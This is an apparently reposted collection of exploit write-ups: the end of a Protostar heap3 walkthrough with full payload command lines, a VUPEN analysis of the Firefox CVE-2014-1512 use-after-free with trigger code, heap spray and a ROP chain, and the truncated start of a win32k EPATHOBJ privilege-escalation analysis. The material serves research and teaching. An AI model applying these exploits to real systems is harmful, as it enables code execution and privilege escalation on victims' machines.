which contains the two fake forward and backward pointers. Unfortunately there is no way to do this without introducing null bytes and terminating the string before overwriting the Chunk C's size. If we can't move backward, then we can certainly move forward using a negative value: previous chunk size (-4) --+ +-- chunk size (\xf0) | | (gdb) r AAAA `python -c 'print "B"*32 + "\xfc\xff\xff\xff" + "\xf0"'` CCCCDDDDEEEE | | fd --+ | | bk --+ Program received signal SIGSEGV, Segmentation fault. 0x080498fd in free (mem=0x804c058) at common/malloc.c:3638 (gdb) x/i $eip 0x80498fd <free+217>: mov DWORD PTR [eax+0xc],edx (gdb) i r eax edx eax 0x44444444 1145324612 edx 0x45454545 1162167621 Using a negative value for the previous chunk size forces the previous chunk to be calculated after the current chunk while avoiding null bytes. The value -4 was seleted for the sake of keeping everything dword aligned. Once the free() gets executed it segfaults trying to write to 0x44444444 + 0xc with the value 0x45454545. This was an expected behavior when trying to unlink the virtual chunk illustrated below: /------ Chunk A -------\ /------ Chunk B -------\ /------ Chunk C -------------\ +----+----+--------------+----+----+--------------+----+----+--------------------+ | | | AAAA | | | BBBB... BBBB| -4|\xf0| CCCCDDDDEEEE | +----+----+--------------+----+----+--------------+----+----+--------------------+ : : :/---- Virtual Chunk ----\: +----+----+----+----+-----+ |\xf0|CCCC|DDDD|EEEE| ... | +----+----+----+----+-----+ | | fd --+ +-- bk Selecting forward and backward links At this point we need to decide which source and destination addresses to use in-place of the forward and backward links. The goal of the exercise is to execute the hidden winner() function: (gdb) info address winner Symbol "winner" is a function at address 0x8048864. In order to call this function we could overwrite the GOT entry for the puts() call which is used at the very end of the main() function: 0x0804892e <main+165>: mov DWORD PTR [esp],0x804ac27 0x08048935 <main+172>: call 0x8048790 <puts@plt> 0x0804893a <main+177>: leave 0x0804893b <main+178>: ret Specifically, we need to overwrite the following address: $ objdump -R heap3 | grep puts 0804b128 R_386_JUMP_SLOT puts Ideally, if we could set 0x804b128 - 0xc = 0x804b11c (to compensate for mov DWORD PTR [eax+0xc],edx) as the destination address and write the value 0x8048864, then we could gain the desired execution flow. Let's try it out: (gdb) r AAAA `python -c 'print "B"*32 + "\xfc\xff\xff\xff" + "\xf0"'` `python -c 'print "CCCC"+"\x1c\xb1\x04\x08"+"\x64\x88\x04\x08"'` Program received signal SIGSEGV, Segmentation fault. 0x08049906 in free (mem=0x804c058) at common/malloc.c:3638 Oops, looks like we failed to write something; however, since the error occurs further down the copy operation let's see if it actually succeeded: (gdb) x/x 0x804b128 0x804b128 <_GLOBAL_OFFSET_TABLE_+64>: 0x08048864 Great, the GOT entry for puts() was overwritten with the address of winner(). Now let's investigate what caused the crash and whether we could go around it: (gdb) x/4i $eip - 9 0x80498fd <free+217>: mov DWORD PTR [eax+0xc],edx <-- succeeded 0x8049900 <free+220>: mov eax,DWORD PTR [ebp-0x18] 0x8049903 <free+223>: mov edx,DWORD PTR [ebp-0x14] 0x8049906 <free+226>: mov DWORD PTR [eax+0x8],edx <-- failed (gdb) i r eax edx eax 0x8048864 134514788 edx 0x804b11c 134525212 As part of the unlinking process, just as we have tried to write to the offset from the forward link to overwrite GOT, we have also attempted to write to the back link which was the address of the winner() function. Let's investigate memory characteristics of that address: (gdb) maintenance info sections Exec file: `/opt/protostar/bin/heap3', file type elf32-i386. : 0x80487b0->0x804abdc at 0x000007b0: .text ALLOC LOAD READONLY CODE HAS_CONTENTS : 0x804b0e4->0x804b0e8 at 0x000030e4: .got ALLOC LOAD DATA HAS_CONTENTS 0x804b0e8->0x804b130 at 0x000030e8: .got.plt ALLOC LOAD DATA HAS_CONTENTS 0x804b130->0x804b138 at 0x00003130: .data ALLOC LOAD DATA HAS_CONTENTS 0x804b140->0x804b5d4 at 0x00003138: .bss ALLOC The attempt to write to the address 0x8048864 (actually 0x8048864 + 0x8) failed because it is located in the .text section which is READONLY. The previous write to 0x804b128 - 0xc succeeded because the GOT section is writeable. Thus, we must find another address to write to puts() GOT entry that would be both executable and writeable at the same time. Let's try the first heap chunk 0x0804c008: (gdb) r `python -c 'print "A"*32'` `python -c 'print "B"*32 + "\xfc\xff\xff\xff" + "\xf0"'` `python -c 'print "CCCC"+"\x1c\xb1\x04\x08"+"\x08\xc0\x04\x08"'` Program received signal SIGSEGV, Segmentation fault. 0x08049951 in free (mem=0x804c058) at common/malloc.c:3648 Another segmentation fault. Before we analyze and try to bypass this crash, let's see if the unlinking succeeded: (gdb) x/12x 0x0804c008-8 0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141 0x804c010: 0x0804b11c 0x41414141 0x41414141 0x41414141 0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029 (gdb) x/x 0x804b128 0x804b128 <_GLOBAL_OFFSET_TABLE_+64>: 0x0804c008 The second mov operation successfully wrote to 0x804c008. Virtual Next Chunk(s) With the GOT entry overwritten with the address on the heap, we are now ready to massage the input so it successfully completes by analyzing the crash: (gdb) x/i $eip 0x8049951 <free+301>: mov DWORD PTR [eax+0xc],edx (gdb) i r eax edx eax 0x0 0 edx 0x0 0 Just as before, the crash was caused due to an attempt to write to an invalid address. Let's reverse engineer the free() function a bit further to see how this can be alleviated: 0x8049909 <free+229>: mov eax,DWORD PTR [ebp-0x38] ; bin 0x804990c <free+232>: mov eax,DWORD PTR [eax+0x2c] ; bin[0x2c] 0x804990f <free+235>: cmp eax,DWORD PTR [ebp-0x28] ; compare with next_chunk 0x8049912 <free+238>: je 0x80499b6 <free+402> 0x8049918 <free+244>: mov eax,DWORD PTR [ebp-0x24] ; next_chunk_size 0x804991b <free+247>: mov edx,DWORD PTR [ebp-0x28] ; next_chunk 0x804991e <free+250>: lea eax,[edx+eax*1] ; next_next_chunk 0x8049921 <free+253>: mov eax,DWORD PTR [eax+0x4] ; next_next_chunk_size 0x8049924 <free+256>: and eax,0x1 ; PREV_INUSE 0x8049927 <free+259>: mov DWORD PTR [ebp-0x20],eax ; store flag value 0x804992a <free+262>: mov eax,DWORD PTR [ebp-0x28] ; next_chunk 0x804992d <free+265>: mov edx,DWORD PTR [ebp-0x24] ; next_chunk_size 0x8049930 <free+268>: mov DWORD PTR [eax+0x4],edx ; store next_chunk_size 0x8049933 <free+271>: cmp DWORD PTR [ebp-0x20],0x0 ; check PREV_INUSE 0x8049937 <free+275>: jne 0x8049963 <free+319> ; jump if the flag is set 0x8049939 <free+277>: mov eax,DWORD PTR [ebp-0x28] ; next_chunk 0x804993c <free+280>: mov eax,DWORD PTR [eax+0x8] ; next_chunk->fd 0x804993f <free+283>: mov DWORD PTR [ebp-0x14],eax ; FD 0x8049942 <free+286>: mov eax,DWORD PTR [ebp-0x28] ; next_chunk 0x8049945 <free+289>: mov eax,DWORD PTR [eax+0xc] ; next_chunk-bk 0x8049948 <free+292>: mov DWORD PTR [ebp-0x18],eax ; BK 0x804994b <free+295>: mov eax,DWORD PTR [ebp-0x14] ; FD 0x804994e <free+298>: mov edx,DWORD PTR [ebp-0x18] ; BK 0x8049951 <free+301>: mov DWORD PTR [eax+0xc],edx ; FD->bk = BK <-- crash 0x8049954 <free+304>: mov eax,DWORD PTR [ebp-0x18] ; BK 0x8049957 <free+307>: mov edx,DWORD PTR [ebp-0x14] ; FD 0x804995a <free+310>: mov DWORD PTR [eax+0x8],edx ; BK->fd = FD <-- crash The disassembly above should look very familiar to the unlink operation we have done to make the original write. In fact, just as we have done the backward consolidation with the previous chunk, we are doing a similar forward consolidation with the next chunk. This could be used to make another 4 byte write; however, since we only need one write to solve the exercise, let's find a way to simply skip this block of instructions by triggering the following jump: 0x8049933 <free+271>: cmp DWORD PTR [ebp-0x20],0x0 ; check PREV_INUSE 0x8049937 <free+275>: jne 0x8049963 <free+319> ; jump if the flag is set This can be arranged by setting up another fake chunk by manipulating the overflown chunk size to be a negative number like \xf0\xff\xff\xff (-16) while still having the least two significant bits set to 0 in order to pass earlier checks: /------ Chunk A -------\ /------ Chunk B -----------------------\ /-- Chunk C .. +----+----+--------------+----+----+------------------------------+----+----+----- | | | AAAA | | | BBBB... BBBB \xff\xff... | -4| -16| .. +----+----+--------------+----+----+------------------------------+----+----+----- .` `. .` `. .` `. /--- Next Next Chunk --\ :/----- Next Chunk -----\: +------+------+----------+ +------+------+----------+ |.. |..\xff| ... ... | |.. |..\xff| ... ... | +--> +------+------+----------+ +------+------+----------+ | | | | size --+ | | | +-------------------------------------------------+ The next chunk is calculated relative to the original overflown chunk by adding (-16) to it, thus ending up 16 bytes behind Chunk C. The size of the next chunk is calculated by zeroing out the last two bits, thus if we set the size of the virtual next chunk to \xff\xff\xff\xff, the actual recorded size will be 0xfffffffc or -4. When the piece of code above attempts to retrieve the "next next" chunk it will add -4 to the next chunk address thus ending up exactly 4 bytes behind the next chunk. By setting the "next next" chunk's size to have the least significant bit set (e.g. \x01) we can skip the block of code that caused the memory write fault: (gdb) r `python -c 'print "\xcc"*32'` <-- shellcode next next chunk size --+ +-- next chunk size | | `python -c 'print "B"*16 + "\x01"*4 + "\xff"*4 + "B"*8 + "\xfc\xff\xff\xff" + "\xf0\xff\xff\xff"'` | | +-- prev chunk size +-- chunk size (-4) (-16) `python -c 'print "CCCC"+"\x1c\xb1\x04\x08"+"\x08\xc0\x04\x08"'` | | puts() GOT entry --+ shellcode in chunk A --+ Program received signal SIGTRAP, Trace/breakpoint trap. 0x0804c00d in ?? () (gdb) x/12x $eip-1 0x804c00c: 0xcccccccc 0x0804b11c 0xcccccccc 0xcccccccc 0x804c01c: 0xcccccccc 0xcccccccc 0xcccccccc 0x00000000 0x804c02c: 0x00000029 0x00000000 0x42424242 0x42424242 Following all of the above manipulations the execution flow will end up in the shellcode located in the first chunk. Finalizing the exploit At this point we can deal with the corrupted byte at 0x804c010 by simply jumping over it with a short 2 byte jump, followed by a push/ret pivot to get to the final destination - the winner function: $ ./heap3 `python -c 'print "AAAA" + "\xeb\x06" + "\x90"*6 + "\x68\x64\x88\x04\x08\xc3"'` `python -c 'print "B"*16 + "\x01"*4 + "\xff"*4 + "B"*8 + "\xfc\xff\xff\xff" + "\xf0\xff\xff\xff"'` `python -c 'print "CCCC"+"\x1c\xb1\x04\x08"+"\x08\xc0\x04\x08"'` that wasn't too bad now, was it? @ 1398039369 The payload can be further optimized to make it less verbose at the expense of readability: $ ./heap3 `python -c 'print "AAAAAAAA\x68\x64\x88\x04\x08\xc3 " + "\xff"*32 + "\xfc\xff\xff\xff"*2 + " CCCC\x1c\xb1\x04\x08\x04\xc0\x04\x08"'` that wasn't too bad now, was it? @ 1398049859 External Links and References Exploit Exercises - Protostar Doug Lea Malloc w00w00 on Heap Overflows Phrack 57 - Vudo - An object superstitiously believed to embody magical powers Phrack 57 - Once upon a free()... Special Note Thanks to the folks at Exploit Exercises for creating the excellent wargame. Particularly making the exercises highly pedagogical with progressive difficulty and building on previously learned material. Published on May 25th, 2014 by iphelix Sursa: https://thesprawl.org/research/exploit-exercises-protostar-heap/
  20. Advanced Exploitation of Mozilla Firefox Use-After-Free Vulnerability (Pwn2Own 2014) [TABLE=width: 100%] [TR] [TD]Published on 2014-05-20 17:19:47 UTC by Arno, Security Researcher @ VUPEN[/TD] [TD] [/TD] [/TR] [/TABLE] Hi everyone, Pwn2Own 2014 was very exciting and challenging as all major browsers and operating systems are now getting more secure than ever. Of course, secure does not mean unbreakable, it means however that additional efforts are required to find and successfully exploit a vulnerability. In this year's edition of Pwn2Own, we have used a total of 11 distinct zero-days to target Mozilla Firefox, Internet Explorer 11, Google Chrome, Adobe Reader XI, and Adobe Flash on Windows 8.1, and we have reported all the vulnerabilities and our full exploits to the affected vendors to allow them fix the issues and protect users. One of the vulnerabilities we have exploited during the event was a use-after-free in Mozilla Firefox (MFSA2014-30 / CVE-2014-1512). This flaw was not easy to find and exploit because it required the browser to be in a specific memory state to reach the vulnerable code branch, this state is called by Mozilla: "memory-pressure". 1. Technical Analysis of the Vulnerability The use-after-free condition can be triggered in Firefox v27 on Windows 8.1 (64bit) with the following code: <html> <script> var tab = new Array(100000); var counter = 0; function spray() { for(var i = 0; i<0x100 ; i++) { tab[counter] = new ArrayBuffer(0x10000); counter += 1; } } function Pressure() { try {spray();} catch (e) {} for(var i = 0; i<0x4000 ; i++) counter.toString(); Pressure(); } Pressure(); </script> </html> When the page is loaded, the "Pressure()" function performs three tasks: - First, the "spray()" function is called to spray memory (see below) - Then, the "for" loop is executed to consume additional memory resources - Finally, the "Pressure()" function calls itself recursively to consume even more resources As the "Pressure()" function is recursive, the "spray()" function will be called many times. Each heap spray operation performed by this function is saved into the "tab" array. After a few seconds, Firefox will run out of memory and enters into a specific state named "memory pressure" or "low memory" which is automatically activated to protect the browser from intensive memory use. Here is the code which determines if this state is active or not: // In "CheckMemAvailable()" / xul.dll 0x10AF2E5D mov eax, sLowCommitSpaceThreshold // 0x80 0x10AF2E62 xor ecx, ecx 0x10AF2E64 shl eax, 14h // eax = 0x08000000 [...] 0x10AF2E6E cmp dword ptr [ebp+stat.ullAvailPageFile], eax // left memory (in bytes) 0x10AF2E71 jnb short loc_10AF2E83 0x10AF2E73 call MaybeScheduleMemoryPressureEvent() // Enable the "memory-pressure" state If the memory left is below 0x08000000 bytes, the "memory-pressure" state is automatically activated. When Firefox gets into this mode, a specific "BumpChunk" object is created through its constructor: // In "js: Detail: BumpChunk * js::LifoAlloc::getOrCreateChunk()" / mozjs.dll 0x00BFEF3E push edi ; Size 0x00BFEF3F call ds:__imp__malloc 0x00BFEF45 add esp, 4 0x00BFEF48 test eax, eax 0x00BFEF4A jz loc_BFEFFB [...] The size of this object is 0x2000 bytes. Then the object is freed by the "js::LifoAlloc::freeAll()" function: // In "js::LifoAlloc::freeAll()" / mozjs.dll 0x00CD5AF5 mov eax, [this] 0x00CD5AF7 mov ecx, [eax+8] 0x00CD5AFA mov [this], ecx 0x00CD5AFC mov ecx, eax 0x00CD5AFE sub ecx, [eax+4] 0x00CD5B01 push eax // eax points to the "BumpChunk" object 0x00CD5B02 add [this+14h], ecx 0x00CD5B05 call ds:__imp__free // free() function 0x00CD5B0B pop ecx 0x00CD5B0C 0x00CD5B0C loc_CD5B0C: 0x00CD5B0C cmp [this], edi 0x00CD5B0E jnz short loc_CD5AF5 At this point, the object has been deleted; however a reference of the freed object still remains in memory. This reference to the freed object is later reused by Firefox within several functions such as the following: // In "js::GCMarker: ProcessMarkStackTop()" / mozjs.dll [...] 0x00C07AC3 mov ecx, [edi+14h] // retrieve the ref to the freed object [...] 0x00C07AD8 mov ecx, [ecx] // read into the freed object [...] 0x00C07ADF mov edx, ecx 0x00C07AE1 shr edx, 3 0x00C07AE4 mov [esp+44h+obj], ecx 0x00C07AE8 and edx, 1FFFFh 0x00C07AEE mov ecx, edx 0x00C07AF0 and ecx, 1Fh 0x00C07AF3 mov eax, 1 0x00C07AF8 shl eax, cl 0x00C07AFA mov ecx, [esp+44h+obj] 0x00C07AFE and ecx, 0FFFFC0B0h 0x00C07B04 or ecx, 0FC0B0h 0x00C07B0A shr edx, 5 0x00C07B0D lea edx, [ecx+edx*4] 0x00C07B10 mov ecx, [edx] // a crash occurs here! This leads to an exploitable crash of Firefox within the "js::GCMarker:: ProcessMarkStackTop()" function. 2. Exploitation on Windows 8.1 (64bit) In order to exploit this vulnerability an attacker needs first to take control of the freed object. To replace the content of the freed object with attacker-controlled data, multiple elements having the same size as the vulnerable object must be created. This can be achieved by spraying ArrayBuffers of 0x2000 bytes. After the object has been freed and replaced, it is reused in several functions, among which "js::GCMarker:: ProcessMarkStackTop()" and "js::types::TypeObject::sweep()". The "js::GCMarker:: ProcessMarkStackTop()" function will be used to leak memory and bypass ASLR, and then "js::types::TypeObject::sweep()" will be abused to re-gain control of the execution flow and pop a calc on Windows 8.1. 2.1. Memory leak via "js::GCMarker:: ProcessMarkStackTop()" As discussed earlier, the freed but controlled object is reused in "js::GCMarker:: ProcessMarkStackTop()": // In "js::GCMarker:: ProcessMarkStackTop()" / mozjs.dll 0x00C07AC3 mov ecx, [edi+14h] // retrieve the ref to the freed object // this ref does not point to the beginning of the ArrayBuffer, // but points into the controlled values of the ArrayBuffer [...] 0x00C07AD8 mov ecx, [ecx] // [ecx] is fully controlled Once ECX is fully controlled, Firefox performs various computations with this controlled value to obtain two other values: // The two values are named: value_1 and value_2 0x00C07ADF mov edx, ecx 0x00C07AE1 shr edx, 3 0x00C07AE4 mov [esp+44h+obj], ecx 0x00C07AE8 and edx, 1FFFFh 0x00C07AEE mov ecx, edx 0x00C07AF0 and ecx, 1Fh 0x00C07AF3 mov eax, 1 0x00C07AF8 shl eax, cl // value_1 is obtained here 0x00C07AFA mov ecx, [esp+44h+obj] 0x00C07AFE and ecx, 0FFFFC0B0h 0x00C07B04 or ecx, 0FC0B0h 0x00C07B0A shr edx, 5 0x00C07B0D lea edx, [ecx+edx*4] // value_2 is obtained here //eax contains value_1 //edx contains value_2 Here is the recap of these computations: ecx = fully controlled value value_1 = 1 << ( ( ecx >> 3 ) & 0x0000001F ) value_2 = ((ecx & 0xFFFFC0B0) | 0xFC0B0 ) + ((( ecx >> 3 ) & 0x1FFFF ) >> 5 ) * 4 As we can see, these two values can only be partially controlled. After the computations, these two values are used in the following code: // eax = value_1 // edx = value_2 0x00C07B10 mov ecx, [edx] 0x00C07B12 test eax, ecx 0x00C07B14 jz loc_D647C5 // can be controlled [...] 0x00D647C5 loc_D647C5: 0x00D647C5 or ecx, eax 0x00D647C7 mov eax, [esp+44h+obj] 0x00D647CB push ebp 0x00D647CC mov [edx], ecx // memory corruption Indeed value_2 corresponds to an address. A corruption may be performed at this address, if the jump (at 0x00c07B14) is taken. From such a corruption there are several ways to perform a memory disclosure. Here is one of them: First, a spray of ArrayBuffers is used and placed at a predictable address, then the memory corruption can be used to corrupt an ArrayBuffer, in particular its "byteLength" field. Here is the memory layout of an ArrayBuffer: The "byteLength" field is checked when a view is created on the ArrayBuffer. A view allows reading from and writing into the contents of the ArrayBuffer. Here is the prototype of the function which allows the creation of a view: [TABLE=width: 100%] [TR] [TD] view Int32Array(ArrayBuffer buffer, unsigned long byteOffset, unsigned long length); [TABLE] [TR] [TD]Attribute[/TD] [TD]Type[/TD] [TD]Description[/TD] [/TR] [TR] [TD]buffer[/TD] [TD]ArrayBuffer[/TD] [TD]The ArrayBuffer object used to contain the TypedArray data. Read only.[/TD] [/TR] [TR] [TD]byteOffset[/TD] [TD]unsigned long[/TD] [TD]The index at which the TypedArray starts within the underlying ArrayBuffer. Read only.[/TD] [/TR] [TR] [TD]lengthInt[/TD] [TD]unsigned long[/TD] [TD]The number of entries in the array. Read only.[/TD] [/TR] [/TABLE] The size of an entry is always 4 bytes.[/TD] [/TR] [/TABLE] The ArrayBuffer's "byteLength" field is compared to the parameters of the "Int32Array()" function: if( (ArrayBuffer's "length") >= (byteOffset arg) + (length arg) * 4 ) { [...] // will create the view }else{ error(); } Here is this comparison in ASM: // In "namespace___TypedArrayObjectTemplate_int___fromBuffer()" / mozjs.dll // ecx points to start of ArrayBuffer's payload area 0x00E4873F mov edx, [eax-0Ch] // retrieve the "byteLength" field [...] 0x00E4874B mov eax, [ebp+lengthInt] // retrieve the 3rd arg of "Int32Array" [...] 0x00E48769 mov ecx, eax 0x00E4876B shl ecx, 2 [...] 0x00E48780 add ecx, ebx // ebx, 2nd argument of "Int32Array" 0x00E48782 cmp ecx, edx 0x00E48784 ja short loc_E48799 // If the jump is taken, the view will not be created Manipulating the ArrayBuffer's "byteLength" value (making it big enough) allows an attacker to create a view, whose length is unusually large, and allows reading and writing outside of the ArrayBuffer. As previously discussed, "value_2" is only partially controlled, so the ArrayBuffer's "byteLength" field is also partially controlled. However the corruption allows us to increase the "byteLength" field of 0x01000000 bytes, which results in the creation of a view that can be used to read and write into the next ArrayBuffer, then the "byteLength" of this second ArrayBuffer will be fully controlled. By setting the "byteLength" of this second ArrayBuffer to 0xFFFFFFFF, we are able to create a view which can read from and write to any location of the user space memory. At this point the goal is to obtain the address of one of the loaded DLLs. This can be done by reading the third dword of the ArrayBuffer's header which allows us e.g. to obtain the address of "mozjs.dll". Here is the memory view of the ArrayBuffer: Here is the link between the 3rd field and the "mozjs.dll" module: CPU Stack Address Value 0x0A18FF10 0x049A0928 [...] 0x049A0928 0x049A2600 [...] 0x049A2600 0x00E8D4D8 [...] 0x00E8D4D8 0x00E9AFE4 ; ASCII "Int32Array" The 0x00E9AFE4 address belongs to the "mozjs.dll" module, which allows us to disclose its address and build a ROP to bypass ASLR/DEP. 2.2. Controlling EIP Thanks to "js::types::TypeObject::sweep()" Now that the leak is achieved, we have to find a way to control the execution flow while the freed object is reused in the "js::types::TypeObject::sweep()" function. This can be done as follows: // In "js::types::TypeObject::sweep()" / mozjs.dll 0x00C7F567 mov ecx, [eax] // ecx is fully controlled [...] 0x00C7F577 mov [esp+38h+var_10], ecx [...] 0x00C7F5CD lea eax, [esp+38h+var_10] 0x00C7F5D1 call js::EncapsulatedId:: Pre(void) // In "js::EncapsulatedId:: Pre()" 0x00C7FBA0 push ecx 0x00C7FBA1 mov eax, [eax] // controlled 0x00C7FBA3 mov ecx, ecx [...] 0x00C7FBB8 and eax, 0FFFFF000h 0x00C7FBBD mov eax, [eax] // controlled 0x00C7FBBF cmp byte ptr [eax+8], 0 0x00C7FBC3 jnz loc_D3F5C4 // jump must be taken 0x00C7FBC9 [...] 0x00D3F5C4 loc_D3F5C4: 0x00D3F5C4 mov edx, [eax+4] // controlled 0x00D3F5C7 push offset aWriteBarrier 0x00D3F5CC lea ecx, [esp+8+str] 0x00D3F5D0 push ecx 0x00D3F5D1 push edx // 1st arg 0x00D3F5D2 call js::gc::MarkStringUnbarriered() // In "js::gc::MarkStringUnbarriered()" 0x00C55FD0 mov ecx, [esp+name] 0x00C55FD4 mov edx, [esp+thingp] 0x00C55FD8 mov eax, [esp+trc] // retrieve 1st arg [...] 0x00C55FF0 push eax // set 1st arg for MarkInternal_JSString_() 0x00C55FF1 mov dword ptr [eax+8], 0 0x00C55FF8 mov [eax+0Ch], name 0x00C55FFB mov [eax+10h], 0FFFFFFFFh 0x00C56002 call MarkInternal_JSString_() It is then possible to regain control of the execution flow thanks to the "MarkInternal_JSString_()": // In "MarkInternal_JSString_()" 0x00C3ABA2 mov ebp, [esp+8+trc] // retrieve 1st arg 0x00C3ABA6 mov ecx, [ebp+4] // controlled 0x00C3ABA9 xor ebx, ebx 0x00C3ABAB push esi 0x00C3ABAC push edi 0x00C3ABAD cmp ecx, ebx 0x00C3ABAF jnz loc_C3AC9C // controlled, we take this jump [...] 0x00C3AC9C loc_C3AC9C: 0x00C3AC9C push 1 0x00C3AC9E push thingp 0x00C3AC9F push ebp 0x00C3ACA0 call ecx // redirect EIP here, pwnd! As we can see from above, if ECX is set to null, the code path which leads to the control of EIP is not taken. While the leak operation is not completed, [ebp+4] needs to be set to null to avoid controlling EIP and crashing the browser. After the leak operation is achieved, [ebp+4] value will be set to contain the address of the first gadget. Exploitation is then finalized with a ROP in "mozjs.dll": // Make eax point to another location (in the spray) 0x00D997C3 mov eax, [eax+588h] 0x00D997C9 mov edx, [eax] // controlled 0x00D997CB mov ecx, eax 0x00D997CD call dword ptr [edx] // call the 2nd gadget // Set a controlled value on the stack 0x00CD9855 push [ebp-80h] // controlled, address of the 4th gadget 0x00CD9858 mov ecx, state 0x00CD985A call dword ptr [eax+4] // call the 3rd gadget // Make esp point to a controlled location 0x00D2906A pop ecx 0x00D2906B xchg eax, esp 0x00D2906C mov eax, [eax] // address of the 4th gadget 0x00D2906E mov [esp], eax 0x00D29071 retn // return to the 4th gadget // Adjust the stack and enjoy 0x00BD062D add esp, 10h 0x00BD0630 retn // will return to "VirtualProtect()" after // the stack has been properly crafted Which leads to arbitrary code execution with ASLR/DEP bypass on Windows 8.1. It is also possible to bypass EMET but this step is left as an exercise for the reader! © Copyright VUPEN Security Sursa: VUPEN Vulnerability Research Blog - Advanced Exploitation of Mozilla Firefox Use-After-Free Vulnerability (Pwn2Own 2014 / CVE-2014-1512)
  21. Published on 2013-07-23 16:56:07 UTC by Jordan Gruskovnjak, Security Researcher @ VUPEN Twitter LinkedIn Delicious Digg Hi everyone, Recently, a very interesting Windows privilege escalation vulnerability was discovered and publicly disclosed by Tavis Ormandy (and he deserves a Pwnie Award 2013 for it!), it was later patched by Microsoft as part of MS13-053. The vulnerability affects the Win32k.sys "EPATHOBJ::pprFlattenRec()" function, and allows an unprivileged user to gain SYSTEM permissions. While a few codes taking advantage of this vulnerability were published by other researchers, our aim was to create a reliable and universal exploit working on both 32bit and 64bit versions of Windows 8, Windows 7, Vista, and XP. We had then to find another exploitation method which works on Windows 8 and prior and which provides instant privilege escalation without suffering from the race condition limitations and/or side effects. In this blog, we share our findings and exploitation method. 1. Technical Analysis of the Vulnerability When calling the "FlattenPath()" function, the "win32k!EPATHOBJ::bFlatten()" method is entered in kernel mode in Win32k.sys: .text:0011602C win32k!EPATHOBJ::bFlatten .text:0011602C mov edi, edi .text:0011602E push ecx .text:0011602F mov eax, [esi+8] // head of PATHRECORD list .text:00116032 test eax, eax .text:00116034 jz short loc_11605B .text:00116036 mov eax, [eax+14h] // first PATHRECORD pointer .text:00116039 .text:00116039 loc_116039: .text:00116039 test eax, eax // is end of list reached .text:0011603B jz short loc_116053 .text:0011603D test byte ptr [eax+8], 10h // is this a Bezier curve .text:00116041 jz short loc_11604F .text:00116043 push eax .text:00116044 mov ecx, esi .text:00116046 call EPATHOBJ::pprFlattenRec // Flatten Bezier curve .text:0011604B test eax, eax .text:0011604D jz short loc_11605B .text:0011604F .text:0011604F loc_11604F: .text:0011604F mov eax, [eax] // current = current->next .text:00116051 jmp short loc_116039 .text:00116053 loc_116053: .text:00116053 and dword ptr [esi], 0FFFFFFFEh .text:00116056 xor eax, eax .text:00116058 inc eax .text:00116059 pop ecx .text:0011605A retn If the PATHRECORD object contains points describing a Bezier curve, the "win32k!EPATHOBJ::pprFlattenRec()" method is entered: .text:001171E0 win32k!EPATHOBJ::pprFlattenRec ... .text:00117208 lea ebx, [ebp+newPathRecord] .text:0011720E mov [ebp+var_EC], edi .text:00117214 mov [ebp+currentPathRecord], eax .text:0011721A call EPATHOBJ::newpathrec // Allocate a new PATHRECORD The function calls "win32k!EPATHOBJ::newpathrec()" in order to allocate a new PATHRECORD if there is not enough memory in the current one: .text:00115F87 win32k!EPATHOBJ::newpathrec ... .text:00115F99 mov edx, [ecx+4] // retrieve last PATHRECORD .text:00115F9C mov eax, [ecx+8] // retrieve PATHRECORD allocation size .text:00115F9F add edx, 10h .text:00115FA2 add eax, ecx // go to end of POINT array .text:00115FA4 cmp eax, edx .text:00115FA6 jbe short loc_115FAF .text:00115FA8 sub eax, edx .text:00115FAA sar eax, 3 .text:00115FAD mov [esi], eax // compute remaining POINT triplets .text:00115FAF loc_115FAF: .text:00115FAF mov eax, [esi] .text:00115FB1 cmp eax, 8 // If less than 8 POINT triplets remaining .text:00115FB4 jb short loc_115FC2 // allocate a new PATHRECORD structure ... .text:00115FC2 loc_115FC2: ... .text:00115FC7 call newpathalloc In case the PATHRECORD object does not have enough "slots" in its POINT array structure, the "win32k!newpathalloc()" function is called: .text:00116729 win32k!newpathalloc .text:00116729 mov edi, edi .text:0011672B push ebp .text:0011672C mov ebp, esp .text:0011672E push ecx .text:0011672F push ebx .text:00116730 push esi .text:00116731 mov esi, PATHALLOC::hsemFreelist ... .text:0011674C loc_11674C: .text:0011674C mov edi, PATHALLOC::freelist .text:00116752 mov ebx, 0FC0h .text:00116757 test edi, edi .text:00116759 jz short loc_11679A "win32k!PATHALLOC::freelist" is a simple linked list structure, which can contain up to 4 elements. In the case the "win32k!PATHALLOC::freelist" linked list is empty, the following path is taken: .text:00116729 win32k!newpathalloc ... .text:0011679A loc_11679A: .text:0011679A push 1 .text:0011679C push 'tapG' .text:001167A1 push ebx .text:001167A2 call PALLOCMEM2 "win32!kPALLOCMEM2()" is actually a wrapper around "nt!ExAllocatePoolWithTag()" followed by a "memset(0)" on the newly allocated pool chunk. In the case the freelist contains elements, the following path is taken: .text:00116729 win32k!newpathalloc ... .text:0011675B mov eax, [edi] // get next freelist item .text:0011675D dec PATHALLOC::cFree // counter of freelist element .text:00116763 mov PATHALLOC::freelist , eax // update freelist .text:00116768 .text:00116768 loc_116768: .text:00116768 and dword ptr [edi], 0 .text:0011676B lea eax, [edi+0Ch] // eax points to PATHRECORD structure ... .text:00115FB9 mov [ebx], eax // assign newPathRecord pointer .text:00115FBB xor eax, eax .text:00115FBD inc eax .text:00115FBE pop ebp .text:00115FBF retn 4 The counter of freelist elements is decremented, and the freelist linked list is updated to point to the new head of the list. However this time, the memory returned from the freelist is not memset-ed to 0, thus still containing data of previous PATHRECORD structures. The PATHRECORD structure looks as follows: typedef struct _PATHRECORD { struct _PATHRECORD *next; // pointer to next PATHRECORD struct _PATHRECORD *prev; // pointer to previous PATHRECORD DWORD flags; // type of PATHRECORD DWORD numPoints; // number of points POINT points[0]; // variable length array of POINT } PATHRECORD, *PPATHRECORD; The POINT structure is as follows (from MSDN): typedef struct tagPOINT { LONG x; LONG y; } POINT, *PPOINT; Eventually the function returns and the system starts initializing the newly created PATHRECORD structure: .text:001171E0 win32k!EPATHOBJ::pprFlattenRec ... .text:00117228 mov ebx, [ebp+newPathRecord] .text:0011722E mov esi, [ebp+currentPathRecord] .text:00117234 mov eax, [esi+4] // eax = currentPathRecord->prev .text:00117237 mov [ebx+4], eax // newPathRecord->prev= eax .text:0011723A lea eax, [ebx+0Ch] // eax = &(newPathRecord->records[]) .text:0011723D and dword ptr [eax], 0 // records[0] = 0 .text:00117240 mov [ebp+newPathRecord], eax .text:00117246 mov eax, [esi+8] // eax = currentPathRecord->flags .text:00117249 and eax, 0FFFFFFEFh .text:0011724C mov [ebx+8], eax // newPathRecord->flags = eax The system initializes all the PATHRECORD fields EXCEPT the next field, which may 